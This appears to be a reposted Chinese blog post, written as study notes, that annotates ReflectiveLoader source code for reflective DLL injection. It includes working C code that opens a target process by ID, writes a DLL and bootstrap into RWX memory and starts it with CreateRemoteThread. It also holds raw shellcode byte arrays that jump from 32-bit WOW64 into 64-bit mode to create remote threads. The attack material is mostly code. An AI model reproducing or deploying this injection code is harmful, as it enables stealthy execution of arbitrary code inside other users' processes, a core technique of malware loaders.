ReflectiveLoader分析(遠程線程注入 PE修正)

來源:互聯網
上載者:User

標籤:val   作用   too   ror   更改   strlen   hash   arch   amd   

從github上下載了ReflectiverLoader認真學習了一下 在代碼中得到一些心得和自己的想法,都按步驟寫到了代碼中,現在分享給大家,如有錯,望大家指正

其中需要注入的dll和解析, 記憶體RVA與 檔案RVA的轉碼(彙編與c++的都有)和解析,shellcode的彙編附到連結 

 

 一.這是用到的shellocode

作用:經調試得出他是為瞭解決x86下運行x64 的問題(windbg可以看到是通過遠跳轉到x64下執行)

 

static BYTE __ExecutexX64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00""\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00""\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00""\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24""\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";static BYTE __FunctionX64[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00""\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48""\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A""\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9""\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C""\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00""\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40""\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6""\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0""\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40""\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0""\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58""\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A""\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D""\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01""\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8""\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00""\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00""\x48\x83\xC4\x50\x48\x89\xFC\xC3";
 

二.用到的結構體 宏定義和雜湊值(利用MakeHanValue計算就行,代碼中有小注釋)

 

 

#define MYFUNCTION_HASH0x6654bba6 // hash of "MyFunction"enum {UNKNOWN,X86,X64};#define DEREFERENCE   (Value) *(UINT_PTR *)(Value)#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)#define DEREFERENCE_32(Value) *(DWORD *)(Value)#define DEREFERENCE_16(Value) *(WORD *)(Value)#define DEREFERENCE_8 (Value) *(BYTE *)(Value)typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);typedef BOOL(WINAPI* LPFN_FUNCTIONX64)(DWORD ParameterData);typedef DWORD(WINAPI* LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData);typedef struct _WOW64CONTEXT_{union{HANDLE ProcessHandle;BYTE   Padding[8];}u1;union{LPVOID ThreadProcedure;BYTE   Padding[8];}u2;union{LPVOID ParameterData;BYTE   Padding[8];}u3;union{HANDLE ThreadHandle;BYTE   Padding[8];}u4;} WOW64CONTEXT, *LPWOW64CONTEXT;
 

 

 

三.主函數的解析

 

int main(){HANDLE FileHandle = NULL;ULONG  FileLength = 0;LPVOID FileData = NULL;ULONG  ReturnLength = 0;HANDLE ProcessHandle = NULL;HANDLE RemoteThreadHandle = NULL;DWORD  ExitCode = 0;if (EnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE){return 0;}DWORD ProcessID = 0;printf("Input ProcessID:\r\n");scanf("%d", &ProcessID);#ifdef_WIN64char* DllFullPath = "ReflectiveLoader.dll";#elsechar* DllFullPath = "ReflectiveLoader.dll";#endif//1.開啟檔案FileHandle = CreateFileA(DllFullPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (FileHandle == INVALID_HANDLE_VALUE){printf("CreateFileA() Error\r\n");goto Exit;}//2.獲得大小FileLength = GetFileSize(FileHandle, NULL);if (FileLength == INVALID_FILE_SIZE || FileLength == 0){printf("GetFileSize() Error\r\n");goto Exit;}//3.申請堆記憶體FileData = HeapAlloc(GetProcessHeap(), 0, FileLength);if (!FileData){printf("HeapAlloc() Error\r\n");goto Exit;}//4.讀記憶體if (ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL) == FALSE){printf("HeapAlloc() Error\r\n");goto Exit;}//以下是對目標進行操作//5.開啟目標進程ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,FALSE, ProcessID);if (!ProcessHandle){printf("OpenProcess() Error\r\n");goto Exit;}//6.載入動態庫RemoteThreadHandle = LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)"911",strlen("911")+1);if (!RemoteThreadHandle){printf("LoadRemoteLibrary() Error\r\n");goto Exit;}printf("LoadRemoteLibrary() Success\r\n");//7.遠程線程等待注入WaitForSingleObject(RemoteThreadHandle, INFINITE);if (!GetExitCodeThread(RemoteThreadHandle, &ExitCode))printf("Input AnyKey To Exit\r\n");getchar();//8.釋放記憶體Exit:if (FileData){HeapFree(GetProcessHeap(), 0, FileData);}if (FileHandle!=NULL)    {CloseHandle(FileHandle);FileHandle = NULL;    }if (ProcessHandle){CloseHandle(ProcessHandle);ProcessHandle = NULL;}return 0;}

 

 

四. LoadRemoteLibrary的解讀(其中三種獲得目標體繫結構的方法 我記入了筆記)

 

 

HANDLEWINAPI LoadRemoteLibrary(HANDLEProcessHandle,LPVOIDFileData,   //Dll檔案資料DWORDFileLength,LPVOIDParameterData,DWORDFunctionHash,//函數雜湊值LPVOIDUserData,DWORDUserDataLength){HANDLE RemoteThreadHandle = NULL;DWORD  RemoteThreadID = 0;DWORD TargetArchitecture = X86; //目標體繫結構DWORD DllArchitecture = UNKNOWN;#ifdefined(_WIN64)DWORD CurrentArchitecture = X64;#elifdefined(_WIN32)DWORD CurrentArchitecture=X86#else#endif__try{do{if (!ProcessHandle || !FileData || !FileLength){break;}//第一幕// 1.獲得目標進程的Architecture 進程通過核心獲得體繫結構HMODULE KernelModuleBase = LoadLibraryA("kernel32.dll");if (!KernelModuleBase)break;__IsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase, "IsWow64Process");FreeLibrary(KernelModuleBase);if (__IsWow64Process){BOOL IsOK;if (!__IsWow64Process(ProcessHandle, &IsOK));{break;}if (IsOK){TargetArchitecture = X86;}else{//通過系統判斷32位與64位SYSTEM_INFO SystemInfo = { 0 };GetNativeSystemInfo(&SystemInfo);if (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)TargetArchitecture = X64;elseif (SystemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)TargetArchitecture = X86;elsebreak;}}// 2.通過PE獲得獲得Dll的Architecture//MZ頭+e_lfanew=NT頭PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(((PUINT8)FileData) + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);if (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32DllArchitecture = X86;elseif (ImageNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64DllArchitecture = X64;// 3.判斷DLL和目標進程是否是相同的架構??if (DllArchitecture != TargetArchitecture){printf("Must Be Same Architecture\r\n");break;}//第二幕//1.再次檢查動態庫的裝入// check if the library has a ReflectiveLoader...DWORD ReflectiveLoaderOffset = GetReflectiveLoaderOffset(FileData);if (!ReflectiveLoaderOffset){printf("Could Not Get ReflectiveLoader Offset\r\n");break;}DWORD RemoteBufferLength = FileLength+ UserDataLength+ 64; // shellcode buffer// 2.alloc memory (RWX) in the host process for the image...LPVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (!RemoteBufferData){break;}printf("VirtualAllocEx() Success\r\n");//3.1 write the image into the host process...將映像寫入主進程。//RemoteBufferData 指向寫入資料的指定進程中的基地址的指標if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))break;//基地址+位移ULONG_PTR ReflectiveLoader = (ULONG_PTR)RemoteBufferData + ReflectiveLoaderOffset;//3.2 write our userdata blob into the host processULONG_PTR RemoteUserData = (ULONG_PTR)RemoteBufferData + FileLength;if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))break;//3.3寫shellcodeULONG_PTR RemoteShellCode = RemoteUserData + UserDataLength;BYTE Bootstrap[64] = { 0 };DWORD BootstrapLength = CreateBootstrap(Bootstrap,64,TargetArchitecture,(ULONG_PTR)ParameterData,(ULONG_PTR)RemoteBufferData,FunctionHash,RemoteUserData,UserDataLength,ReflectiveLoader);if (BootstrapLength <= 0){break;}printf("%p\r\n", RemoteShellCode);getchar();if (!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))break;printf("Wrote ShellCode Success\r\n");/*此處的寫入圖RemoteBufferData[FileData的基地址]寫入FileDataRemoteUserData[UserData的基地址]寫入UserDataRemoteShellCode寫入Bootstrap*///確保我們的更改是馬上寫的FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);printf("%p\r\n", RemoteShellCode);getchar();getchar();//第三幕 判斷主體與客體的位 並且建立線程執行// 目標64  當前32if (CurrentArchitecture == X86 && TargetArchitecture == X64){Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);ResumeThread(RemoteThreadHandle);}else{//目標32  當前32//目標64  當前64//目標32  當前64RemoteThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024,(LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,(DWORD)NULL, &RemoteThreadID);/*lpStartAddress [in]指向由線程執行的類型為LPTHREAD_START_ROUTINE的應用程式定義函數的指標,並表示遠程進程中線程的起始地址。該功能必須存在於遠程進程中。lpParameter [in]指向要傳遞給線程函數的變數的指標。*/}} while (0);}__except (EXCEPTION_EXECUTE_HANDLER){RemoteThreadHandle = NULL;}return RemoteThreadHandle;}
 

 

 

 

五.  Wow64CreateRemoteThread解讀

 

DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE * ThreadHandle){DWORD Result = ERROR_SUCCESS;LPFN_EXECUTEX64  ExecuteX64 = NULL;LPFN_FUNCTIONX64 FunctionX64 = NULL;WOW64CONTEXT*  Wow64Context = NULL;OSVERSIONINFO  OsVersionInfo = { 0 };do{//第一幕 判斷系統是否合適OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);if (!GetVersionEx(&OsVersionInfo)){printf("GetVersionEx() Error\r\n");break;}// filter out Windows 2003if (OsVersionInfo.dwMajorVersion == 5 && OsVersionInfo.dwMinorVersion == 2){printf("Is 2003 Error\r\n");break;}//第二幕//1.分別為ExecuteX64,FunctionX64申請shellcode大小的記憶體兵賦值/*shellcode經過調試得出是通過遠跳轉到64位進程中執行 慚愧 瞎調了一遍還沒有掌握調試方法 有點難。。。*/ExecuteX64 = (LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (!ExecuteX64){printf("VirtualAlloc() Error\r\n");break;}FunctionX64 = (LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64) + sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (!FunctionX64){printf("VirtualAlloc() Error\r\n");break;}// copy over the wow64->x64 stubmemcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));// copy over the native x64 functionmemcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));//2.設定上下背景文Wow64Context = (WOW64CONTEXT *)((BYTE *)FunctionX64 + sizeof(__FunctionX64));Wow64Context->u1.ProcessHandle   = ProcessHandle;   //目標進程控制代碼Wow64Context->u2.ThreadProcedure = ThreadProcedure;Wow64Context->u3.ParameterData   = ParameterData;Wow64Context->u4.ThreadHandle    = NULL;//3.執行該代碼的環境是32位if (!ExecuteX64(FunctionX64, (DWORD)Wow64Context))  {printf("ExecuteX64() Error\r\n");break;}//作為一個標識if (!Wow64Context->u4.ThreadHandle){printf("ThreadHandle Is NULL\r\n");break;}// 4.成功! 從上下文中抓取新的線程控制代碼*ThreadHandle = Wow64Context->u4.ThreadHandle;} while (0);//5.退出if (ExecuteX64){VirtualFree(ExecuteX64, 0, MEM_RELEASE);ExecuteX64 = NULL;}if (FunctionX64){VirtualFree(FunctionX64, 0, MEM_RELEASE);FunctionX64 = NULL;}return Result;}
 

ReflectiveLoader分析(遠程線程注入 PE修正)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.